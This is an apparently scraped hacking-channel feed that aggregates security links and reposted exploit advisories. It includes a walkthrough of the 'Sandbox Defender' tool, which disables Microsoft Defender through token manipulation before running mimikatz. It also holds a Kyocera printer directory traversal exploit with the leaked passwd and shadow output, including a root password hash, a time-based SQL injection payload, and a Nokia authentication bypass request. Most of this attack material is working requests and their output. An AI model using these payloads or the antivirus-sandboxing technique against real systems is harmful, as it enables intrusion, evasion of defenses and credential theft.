Basic Web technologies required for starting with the web Exploitation Part-2
https://medium.com/@mananaggarwal2001/basic-web-technologies-required-for-starting-with-the-web-exploitation-part-2-ffd68c9a2d99?source=rss------bug_bounty-5

Hello Myself Manan Aggarwal is here to present the Blog about the Basic Web technologies required for starting with the web Exploitation…Continue reading on Medium » (https://medium.com/@mananaggarwal2001/basic-web-technologies-required-for-starting-with-the-web-exploitation-part-2-ffd68c9a2d99?source=rss------bug_bounty-5)

Black Hat Ethical Hacking
Offensive Security Tool: Sandbox Defender

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: Sandbox DefenderPost Views: 232 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes

Offensive Security Tool: Sandbox Defender GitHub Link Sandbox DefenderThis tool was just written by plackyhacker that allows Pentesters and Bug Bounty Hunters demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.

The idea and technique behind it is: Sandboxing Microsoft Defender (and other AV/EDRs) using Security Token manipulation. IntroductionThe technique is very simple:

* Enable the SeDubgPrivilege in our process security token.
* Get a handle to Defender using PROCESS_QUERY_LIMITED_INFORMATION.
* Get a handle to the Defender token using TOKEN_ALL_ACCESS.
* Disable all privileges in the token using SetPrivilege
* Set the Defender token Integrity level to Untrusted.
See Also: Complete Offensive Security and Ethical Hacking Course ExampleExecution of the code is shown below (then executing mimikatz after defender is sandboxed): .\SandboxDefender.exe
[+] Getting a token handle for this process.
[+] Token handle: 0x2EC
[+] Enabling SeDebugPrivilege.
[+] SeDebugPrivilege enabled.
[+] Defender PID: 5212
[+] Getting a process handle for Defender.
[+] Process handle: 0x2F0
[+] Getting a token handle for the Defender process.
[+] Token handle: 0x2F4
[+] Will disable Defender privileges.
[+] Will set Defender Integrity to Untrusted.
[+] Done... Have a nice day!

.\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #See Also: PHP Everywhere RCE flaws threaten thousands of WordPress sites Nice PicturesThis is Defender before the sandboxing (in Process Hacker):

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre.png
This is Defender after the sandboxing (in Process Hacker):

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/post.png
See Also: How ILOVEYOU worm became the first global computer virus pandemic https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/osmedeus-details-folder-90x90.png Offensive Security Tool: Osmedeus1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads[...]

___________________________
@hacking_Attack
@Hacking_Video

/2021/12/basic_spraying-90x90.png Offensive Security Tool: Spray3651 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-attack-diagram-r3-90x90.png Offensive Security Tool: log4j Honeypot Flask2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/log4j-scan-90x90.png Offensive Security Tool: log4j-scan2 months ago
The post Offensive Security Tool: Sandbox Defender first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

AD CS: from ManageCA to RCE - BlackArrow
https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/

submitted by /u/gid0rah (https://www.reddit.com/user/gid0rah)
[link] (https://www.blackarrow.net/ad-cs-from-manageca-to-rce/) [comments] (https://www.reddit.com/r/redteamsec/comments/sq3epc/ad_cs_from_manageca_to_rce_blackarrow/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
What CISOs Should Tell the Board About Log4j

It's time for a reset with the board of directors. Very few have a dedicated, board-level cybersecurity committee, which means cybersecurity isn't viewed as a critical executive function.

Dark Reading: Attacks/Breaches
BlackBerry Seeks to Restore Its Past Glory With Services Push

Selling security software might prove easier than selling phones, but can BlackBerry outsmart its competition?

Exploit Collector
Kyocera Command Center RX ECOSYS M2035dn Directory Traversal

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Kyocera Command Center RX version ECOSYS M2035dn suffers from a directory traversal vulnerability that allows for file disclosure.

MD5 | 7228aa8fcc27e615b0c6ed6372b4e348

Download
# Exploit Title: Kyocera Command Center RX ECOSYS M2035dn - Directory Traversal File Disclosure (Unauthenticated)
# Author: Luis Martinez
# Discovery Date: 2022-02-10
# Vendor Homepage: https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
# Tested Version: ECOSYS M2035dn
# Tested on: Linux
# Vulnerability Type: Directory Traversal File Disclosure (Unauthenticated)

# Proof of Concept:
# 1.- Create a directory traversal payload
# 2.- Add nullbyte to the end of the payload(%00)
# 3.- Sent your request

Request 1:

GET /js/../../../../../../../../etc/passwd%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 1:

HTTP/1.1 200 OK
Content-Length: 844
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 15:55:57 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/passwd, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
adm:x:4:4:adm:/var/adm:/bin/sh
lp:x:5:7:lp:/var/spool/lpd:/bin/sh
sync:x:6:8:sync:/bin:/bin/sync
shutdown:x:7:9:shutdown:/sbin:/sbin/shutdown
halt:x:8:10:halt:/sbin:/sbin/halt
mail:x:9:11:mail:/var/mail:/bin/sh
news:x:10:12:news:/var/spool/news:/bin/sh
uucp:x:11:13:uucp:/var/spool/uucp:/bin/sh
operator:x:12:0:operator:/root:/bin/sh
games:x:13:60:games:/usr/games:/bin/sh
ftp:x:15:14:ftp:/var/ftp:/bin/sh
man:x:16:20:man:/var/cache/man:/bin/sh
www:x:17:18:www-data:/var/www:/bin/sh
sshd:x:18:19:sshd:/var/run/sshd:/bin/sh
proxy:x:19:21:proxy:/bin:/bin/sh
telnetd:x:20:22:proxy:/bin:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
ais:x:101:101:ais:/var/run/ais:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

Request 2:

GET /js/../../../../../../../../etc/shadow%00.jpg HTTP/1.1
Cookie: rtl=0
Host: X.X.X.X
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Accept: */*

Response 2:

HTTP/1.1 200 OK
Content-Length: 480
Upgrade: TLS/1.0
Accept-Encoding: identity
Date: Thu, 10 Feb 2022 16:10:16 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 10 Feb 2022 15:25:48 GMT
ETag: "/js/../../../../../../../../etc/shadow, Thu, 10 Feb 2022 15:25:48 GMT"
Content-Type: image/jpeg

root:$1$7NzW9Q4N$hXTtMygKjVUdJtW86EH3t1:15873::::::
bin:*:15873::::::
daemon:*:15873::::::
sys:*:15873::::::
adm:*:15873::::::
lp:*:15873::::::
sync:*:15873::::::
shutdown:*:15873::::::
halt:*:15873::::::
mail:*:15873::::::
news:*:15873::::::
uucp:*:15873::::::
operator:*:15873::::::
games:*:15873::::::
ftp:*:15873::::::
man:*:15873::::::
www:*:15873::::::
sshd:*:15873::::::
proxy:*:15873::::::
telnetd:*:15873::::::
backup:*:15873::::::
ais:*:15873::::::
nobody:*:15873::::::


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Accounting Journal Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Accounting Journal Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | cfdb5f319bcfa6174d133376cddb4d3a

Download
# Exploit Title: Accounting Journal Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15155/accounting-journal-management-system-trial-balance-php-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 09.02.2022

######## Description ########
#
#
# Authenticate and get update user settings will be appear the
# id paramater put your payload at there it'll be work
#
#
#
######## Proof of Concept ########

========>>> REQUEST

GET /ajms/admin/?page=user/manage_user&id=5%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r513r6hug9aqofhlfs3bc7f7qa
Upgrade-Insecure-Requests: 1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Subrion CMS 4.2.1 Cross Site Request Forgery

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nokia Transport Module Authentication Bypass

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
The TRS web console allows an authenticated user to remotely manage the BTS and its configuration. Analysis discovered an authentication bypass vulnerability in the web management console. BTS TRS web console version FTM_W20_FP2_2019.08.16_0010 is affected.

MD5 | 4f32f0cecdf17e2dffb9e31e654386dd

Download
title: Nokia Transport Module Authentication Bypass
case id: CM-2020-02
product: BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)
vulnerability type: Authentication Bypass
severity: Critical
found: 2020-09-28
CVE: CVE-2021-31932
by: Cristiano Maruti (@cmaruti)

[EXECUTIVE SUMMARY]

The TRS web console allows an authenticated user to remotely manage the BTS
and its configuration. The analysis discovered an authentication bypass
vulnerability (CWE-289) in the web management console. A malicious
unauthenticated user can get access to all the functionalities exposed via
the web panel circumventing the authentication process. The vulnerability
lies in the way the web server in use (lighttpd) protects restricted
resources and how special characters are encoded and pass to the underline
CGIs. A successful attack can read data from the BTS and read, modify or
delete BTS configuration.

[VULNERABLE VERSIONS]

The following version of the TRS web console was affected by the
vulnerability; previous versions may be vulnerable as well:
- BTS TRS web console (FTM_W20_FP2_2019.08.16_0010)

[TECHNICAL DETAILS]

It is possible to reproduce the vulnerability following these steps:
1. Open a web browser and insert the BTS TRS web console IP
2. Navigate to a protected resource (for example
/protected/ShowErrorLog.cgi)
3. Subsitute the dot character with the corresponding URL encoded value
(%2e)
4. Resulting URL
(/protected/ShowErrorLog%2ecgi?token=thisIsNotTheRightToken)
give access without prompt for any authentication credential

Below a full transcript of the HTTP request used to get access to a
protected
resource.

HTTP Request
-------------------------------------------------------------------------------
GET /protected/ShowErrorLog%2Ecgi?token=thisIsNotTheRightToken HTTP/1.1
Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SIEMENS-SINEMA Remote Connect 1.0 SP3 HF1 Open Redirection

___________________________
@hacking_Attack
@Hacking_Video